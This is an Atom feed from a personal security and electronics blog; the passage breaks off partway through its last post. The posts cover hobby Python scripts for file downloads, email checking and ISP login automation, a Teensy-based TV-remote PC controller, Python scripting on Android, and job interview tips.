<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1067707793445906507</id><updated>2012-01-29T06:24:12.004-08:00</updated><category term='sl4a'/><category term='media'/><category term='check email'/><category term='enable'/><category term='decrypt'/><category term='multiple monitor swordfish setup hacker movie'/><category term='How you can use command script to change KDE Desktop python'/><category term='python on android'/><category term='Teensy'/><category term='fadia'/><category term='hacking'/><category term='crack'/><category term='version 2'/><category term='packet fragment firewall security'/><category term='black hat'/><category term='deobfuscate'/><category term='cisco'/><category term='information security'/><category term='job'/><category term='shell'/><category term='ping sweep'/><category term='nmap fydor anniversary'/><category term='exploitation'/><category term='python'/><category term='verify email'/><category term='infosec'/><category term='script'/><category term='windows'/><category term='kung fu'/><category term='professional'/><category term='port scanenr'/><category term='developer'/><category term='seeker'/><category term='downlaod files'/><category term='ankit'/><category term='default'/><category term='difference'/><category term='scripting'/><category term='hack'/><category term='indian'/><category term='router'/><category term='backdoor'/><category term='PC Control'/><category term='check'/><category term='security'/><category term='TV Remote'/><category term='python code'/><category term='india'/><category term='post'/><category term='rootkit'/><category term='hacker'/><category term='awareness'/><category term='phishing'/><category term='interview'/><category term='android'/><category term='secrete'/><category term='Infrared'/><category term='consultant'/><category term='fake'/><category term='Nullcon hacking security conference goa'/><category term='python google video download commandline automate'/><category term='google search'/><category term='white hat'/><category term='network'/><category term='IR'/><category term='command line'/><category term='email domains'/><category term='nc'/><category term='proxy arp linux router'/><category term='password'/><category term='netcat'/><title type='text'>Information Security</title><subtitle type='html'>Mostly Information Security Stuff :)
can include somethings from Electronics my second fav.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>30</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-8182777329535888679</id><published>2012-01-14T09:32:00.000-08:00</published><updated>2012-01-14T09:50:56.877-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google search'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><category scheme='http://www.blogger.com/atom/ns#' term='downlaod files'/><title type='text'>python script to download files via google search</title><content type='html'>Just now some one was asking to me on chat if there is some script which can download the files if given a google search query.&lt;br /&gt;&lt;br /&gt;When thinking I suddenly remember that I had coded such a script some time ago using xgoogle libray of python. So I just searched for my script and here it is.&lt;br /&gt;&lt;br /&gt;As you know I am lazy, I have used xgoogle and not directly handle google via httplib or urllib etc etc. My script used getopt library to parse the options given to the script. (again I am lazy)&lt;br /&gt;(xgoogle library can be downloaded at http://www.catonmat.net/blog/python-library-for-google-search/)&lt;br /&gt;&lt;br /&gt;The general syntax of this script is&lt;br /&gt;&lt;br /&gt;python gsrchDwn.py --query "query_text" [--ftype file_extension] [--cnt contine_result_number] [--dir download_dir]&lt;br /&gt;&lt;br /&gt;usage: python gsrchDwn.py --query maths made easy --ftype pdf&lt;br /&gt;&lt;br /&gt;IMP Notes&lt;br /&gt;1)It proper results are not got try the query in " (double quotes)&lt;br /&gt;2) This file need xgoogle library found at http://www.catonmat.net/blog/python-library-for-google-search/&lt;br /&gt;&lt;br /&gt;If --dir is not given it will download files into current directory.&lt;br /&gt;If the script is stopped inbetween you can continue from the last result number by using --cnt result_number&lt;br /&gt;&lt;br /&gt;This time I am have become a good boy and also added a status printing which shows how much percentage of current file is downlaoded.&lt;br /&gt;&lt;br /&gt;grsrchDwn.py can be downloaded &lt;a href="https://sites.google.com/site/neo1981/files/gsrchDwn.py?attredirects=0&amp;amp;d=1"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let me know any comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-8182777329535888679?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/8182777329535888679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=8182777329535888679' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8182777329535888679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8182777329535888679'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2012/01/python-script-to-download-files-via.html' title='python script to download files via google search'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-6530020863723437873</id><published>2011-12-05T09:12:00.000-08:00</published><updated>2011-12-05T09:28:39.586-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='proxy arp linux router'/><category scheme='http://www.blogger.com/atom/ns#' term='check email'/><category scheme='http://www.blogger.com/atom/ns#' term='python code'/><category scheme='http://www.blogger.com/atom/ns#' term='email domains'/><category scheme='http://www.blogger.com/atom/ns#' term='verify email'/><title type='text'>Python script to check valid email addresses</title><content type='html'>We were having discussion about checking a list of email addresses for validity.&lt;br /&gt;one of member had posted a bash script for Linux to verify the email addresses before sending the emails.&lt;br /&gt;&lt;br /&gt;I thought to write a python script for the same in windows. Well this script can be easily ported to linux with just one or two lines changed. But I was too tired after all day office work to write check for OS and write windows as well as linux code. Currently it is only for gmail domain. But can be easily ported to every domain. Just need to extract domain from email id and check its MX by the existing code. (I told you already I am tired to write more code)&lt;br /&gt;If  some people found this useful and need sophisticated version then I would release a next version of program.&lt;br /&gt;&lt;br /&gt;This python code take one argument which is list of emails one per line in text format.&lt;br /&gt;&lt;br /&gt;You can download python file &lt;a href="http://sites.google.com/site/neo1981/files/chkEmail_v0.1.py?attredirects=0&amp;amp;d=1"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-6530020863723437873?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/6530020863723437873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=6530020863723437873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6530020863723437873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6530020863723437873'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2011/12/python-script-to-check-valid-email.html' title='Python script to check valid email addresses'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-8455844526954021650</id><published>2011-12-01T08:28:00.000-08:00</published><updated>2011-12-01T09:21:28.654-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Infrared'/><category scheme='http://www.blogger.com/atom/ns#' term='IR'/><category scheme='http://www.blogger.com/atom/ns#' term='TV Remote'/><category scheme='http://www.blogger.com/atom/ns#' term='PC Control'/><category scheme='http://www.blogger.com/atom/ns#' term='Teensy'/><title type='text'>Control PC through TV Remote Control</title><content type='html'>Recently I attached a LCD screen to my PC to watch Movies.&lt;br /&gt;&lt;br /&gt;While watching movies I came across the fact that I was only able to adjust Volume, Color, Contrast, etc. TV features only.&lt;br /&gt;&lt;br /&gt;Whenever I had to play/pause the movie or control  media player I had to go towards the PC keybord / mouse. I found it very irritating. Then I thought why not use the Teensy (I had got some days ago) to code something using Infra Red Receiver. So I went to my favorite electronics shop and inquired for Infra Red components. I got one IR LED and one IR Receiver (TSOP1738)&lt;br /&gt;&lt;a href="https://sites.google.com/site/neo1981/files/TSOP1738.pdf?attredirects=0&amp;amp;d=1"&gt;TSOP1738 Manual Here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;IR Reciver Pinout:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://sites.google.com/site/neo1981/files/TSOP1738_pins.png?attredirects=0"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 236px; height: 187px;" src="https://sites.google.com/site/neo1981/files/TSOP1738_pins.png?attredirects=0" alt="" border="0" /&gt;&lt;/a&gt;Surprising to me this Receiver was very cheap (converted to US$ 0.40$), when I checked some circuit ideas online only this IR receiver + Teensy  was needed in the circuit.&lt;br /&gt;&lt;br /&gt;The Teensy Pinout for Arduino is as shown bellow&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://sites.google.com/site/neo1981/files/pinout4b.png?attredirects=0"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 497px; height: 365px;" src="https://sites.google.com/site/neo1981/files/pinout4b.png?attredirects=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The circuit is so simple. Just connected GND to GND Pin of Teensy and Vs to +5v pin of Teensy.&lt;br /&gt;Pardon me for such rough circuit diagram but , I didnt thought I should waste more time in circuit diagram of so simple circuit. If any one has some doubts drop me a comment and I would provide answer to queries.&lt;br /&gt;&lt;br /&gt;Rough Circuit Diagram&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://sites.google.com/site/neo1981/files/Circuit.png?attredirects=0"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 457px; height: 336px;" src="https://sites.google.com/site/neo1981/files/Circuit.png?attredirects=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After that there I used a sample program that comes with IR Library with little but modification to blink built in LED on the Teensy Bord. This Infrared dump program can be find &lt;a href="https://sites.google.com/site/neo1981/files/IR_dump.txt?attredirects=0&amp;amp;d=1"&gt;HERE&lt;/a&gt;&lt;br /&gt;Then I pressed buttons of Remote and Noted down the Code received by IR Circuit.&lt;br /&gt;&lt;br /&gt;Then I wrote a new program that can control the Media Player Classic which I use to watch movies. I coded shortcut keys used by Media Player Classic in my program and executed them when received the particular code of the Remote Key.&lt;br /&gt;&lt;br /&gt;Then I remember reading somewhere that Teensy can also move mouse. So I went ahead and mapped the Remote Directional keys to mouse. I used Mouse.move(x,y) function and mapped 4 movements of mouse to the four directional keys found on my Remote.&lt;br /&gt;&lt;br /&gt;So the is TV remote used to control Media Player Classic and also Mouse Movement on PC.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sites.google.com/site/neo1981/files/IR_Controller.c?attredirects=0&amp;amp;d=1"&gt;My Code can downloaded HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Photo of my Circuit looks like bellow&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-mgo2KzLOiFE/Tte213pm-lI/AAAAAAAAAEw/saYwXVwevsA/s1600/Teensy_IR_3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 193px;" src="http://3.bp.blogspot.com/-mgo2KzLOiFE/Tte213pm-lI/AAAAAAAAAEw/saYwXVwevsA/s320/Teensy_IR_3.jpg" alt="" id="BLOGGER_PHOTO_ID_5681210491538963026" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-8455844526954021650?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/8455844526954021650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=8455844526954021650' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8455844526954021650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8455844526954021650'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2011/12/control-pc-through-tv-remote-control.html' title='Control PC through TV Remote Control'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-mgo2KzLOiFE/Tte213pm-lI/AAAAAAAAAEw/saYwXVwevsA/s72-c/Teensy_IR_3.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-1942007867624534685</id><published>2011-09-20T01:15:00.000-07:00</published><updated>2011-09-20T01:32:11.511-07:00</updated><title type='text'>Automate irritating ISP login</title><content type='html'>&lt;div&gt;Well recently my ISP updated their systems and made compulsory web login before giving access to any other site.  I found this very frustrating and didnt liked it. Every time I start my modem I have to login to this ISP web login form.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;So I just think to automate this process, I wrote a small python script to automate this login process. So as per my convenience I can put it in auto-run after login or whatever I want. Since I am lazy programmer I searched for a library which gave me easy manipulation of web forms. So I found mechanize module for python doing things which were necessary for this script. (Dont ask me why python , I dont want to start unother python Vs xyz Language fight. I like python very much so python :-) )&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For easy usage of script I will briefly describe 5 parameters which are needed to be set one time before using this script.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;blockquote&gt;loginURL = "http://login.example.com" # URL to Login form of ISP site&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here you have to put URL of the login page where the login form is shown&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;loginID = "myUserName"          # ISP user name &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;loginPassword = "mYp4ssw0rd"    # ISP Password&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Quiet self explanatory : Username and password&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;blockquote&gt;loginFormName = "loginForm" &lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On the login page of the ISP site, check the html code for &lt;form&gt; tag put the name of the form in this location&lt;/form&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;successString = """NOW ACTIVATING YOUR SERVICES""" &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Do a manual login and check the first page shown after login and copy any string from that page which is shown every time you login. This is used to check whether the login was successfull.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Comments are welcome.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Download script here &lt;/div&gt;&lt;a href="https://sites.google.com/site/neo1981/files/ISPlogin.py?attredirects=0&amp;amp;d=1"&gt;PythonScript ISPlogin.py&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-1942007867624534685?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/1942007867624534685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=1942007867624534685' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1942007867624534685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1942007867624534685'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2011/09/automate-irritating-isp-login.html' title='Automate irritating ISP login'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-7230901648768632471</id><published>2011-09-12T10:03:00.000-07:00</published><updated>2011-09-12T10:30:05.401-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python on android'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><category scheme='http://www.blogger.com/atom/ns#' term='sl4a'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>SL4A:The Scripting Layer for Android</title><content type='html'>SL4A enables it to support many scripting language&lt;br /&gt;interpreters. In order to make practical use of SL4A, we will need atleast&lt;br /&gt;the rudiments of one high-level scripting language such as Python, Ruby, Perl, Lua,&lt;br /&gt;JavaScript, or BeanShell.&lt;br /&gt;&lt;br /&gt;For me it meant ability to create and run python scripts on my phone without having to ROOT the phone. It makes possible to use lots of GUI like Checkboxes, Radio buttons, Inputbox very easily. I checked out some sample scripts and they were small and simple scripts just like normal python.&lt;br /&gt;&lt;br /&gt;For ex.  only 4 lines code was able to speak time using text-to-speech engine. Mind it two lines of them were import statements :D&lt;br /&gt;&lt;br /&gt;import android&lt;br /&gt;import time&lt;br /&gt;&lt;br /&gt;droid = android.Android()&lt;br /&gt;droid.ttsSpeak(time.strftime("%_I %M %p on %A, %B %_e, %Y "))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I found out about python scripting on android after months of buying the android phone :D&lt;br /&gt;I feel ashamed of myself for not finding out this long ago. Well there were some battery problems with phone so had to give it back to service center two times. But it feels great now.&lt;br /&gt;&lt;br /&gt;Better than that it allows directly  creating &amp;amp; editing the scripts directly on phone also :-D&lt;br /&gt;&lt;br /&gt;So I would be starting some scripting on python. If done anything interesting I will post it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-7230901648768632471?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/7230901648768632471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=7230901648768632471' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7230901648768632471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7230901648768632471'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2011/09/sl4athe-scripting-layer-for-android.html' title='SL4A:The Scripting Layer for Android'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-3744650251343060557</id><published>2010-11-03T03:17:00.000-07:00</published><updated>2010-11-03T03:20:07.034-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='seeker'/><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><category scheme='http://www.blogger.com/atom/ns#' term='job'/><title type='text'>What not to do...Job Seekers</title><content type='html'>&lt;p class="MsoNormal"&gt;and offcourse some to do...&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Well I have seen a large number of Resumes and also taken interivew of lots of candidates. I wanted to give some thoughts about to do / not to do about the resume, telephonic conversation, interviews. Others are welcome to add / discuss any points.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;Resume&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;1)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Keep your point wise&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;a.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;       &lt;/span&gt;&lt;/span&gt;Don’t keep paragraphs of information regarding your skills or background.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;b.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Always keep information point wise.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;2)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Highlight the key skills for the job for which you are applying. If you looking jobs in multiple fields (Ex. Developer / Tester / Etc.) keep different resume ready for each field. Each field would have some different skills which you need to highlight.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;3)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Don’t put too much of information in resume. Also what ever tool / skill / project you have put in to your resume you should be able to answers any question regarding to that.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l0 level1 lfo1; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;4)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;In my experience half of the interview questions would come from what you have written in the resume.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;Telephonic Conversations&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;1)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Be professional always ask the basic information like job profile , job location in the first place.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;2)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;If the job profile and job location meets your need then only take forward the talks. Other wise you would be wasting your and other party’s time as well.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;3)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Always make a note of Name of the person with whom you had conversation for future reference&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2; tab-stops:list .5in"&gt;&lt;span style="mso-list:Ignore"&gt;4)&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;When you give time to any person for telephonic conversation, keep you mobile reachable, well charged. Its not good to give these reasons for not attending the call. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;Face to Face Interview&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;1.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Do dress decently in official dress.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.5in;text-indent:-1.5in;mso-text-indent-alt: -9.0pt;mso-list:l1 level3 lfo2;tab-stops:list 1.5in"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;                                                               &lt;/span&gt;i.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Even if the office is using casual dresses&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.5in;text-indent:-1.5in;mso-text-indent-alt: -9.0pt;mso-list:l1 level3 lfo2;tab-stops:list 1.5in"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;                                                             &lt;/span&gt;ii.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Interview is not the place to show off with casuals&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;2.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Carry a copy of resume with you and 2 photographs even if not asked by the company. You don’t know when they would come in handy&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;3.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Do ask permission before going in to the interview room&lt;/p&gt;  &lt;p class="MsoNormal" 